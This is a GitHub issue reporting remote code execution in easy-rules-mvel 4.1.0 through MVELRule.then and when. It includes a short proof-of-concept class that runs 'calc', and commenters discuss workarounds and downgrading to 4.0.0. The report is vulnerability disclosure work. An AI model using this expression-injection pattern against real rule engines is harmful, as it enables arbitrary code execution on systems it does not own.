Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

MVELRule Remote Code Execution #419

Open
sirnple opened this issue Dec 6, 2023 · 4 comments
Open

MVELRule Remote Code Execution #419

sirnple opened this issue Dec 6, 2023 · 4 comments

Comments

@sirnple
Copy link

sirnple commented Dec 6, 2023

easy-rules-mvel version: 4.1.0

I have run code like:

try {
    MVELRule mVELRule = new MVELRule();
    MVELRule result = mVELRule.then("jaz.Zer");
} catch (Exception e) {
}

Meanwhile I hava class jaz.Zer in classpath, which content is:

import java.io.IOException;

public class Zer {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

On Windows platform, above code will open my PC's calculator

Additional: MVELRule.when also leads to this RCE

try {
    MVELRule mVELRule = new MVELRule();
    MVELRule result = mVELRule.when("\bjaz.Zer");
} catch (Exception e) {
}
@dvgaba
Copy link

dvgaba commented Feb 1, 2024

It's a limitation of mvel expression language.

@LuisMedinaG
Copy link

Hi! Do you have an update on this, is there a workaround or fix for this?
I see the vulnerability is still open.

@dmuley17
Copy link

Do we have any workaround to fix the vulnerability ?

@leaf-soba
Copy link

If you don't need new features 4.1.0, just downgrade to 4.0.0, it is a safe version with only a irrelevant vulnerability in JUnit.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Development

No branches or pull requests

5 participants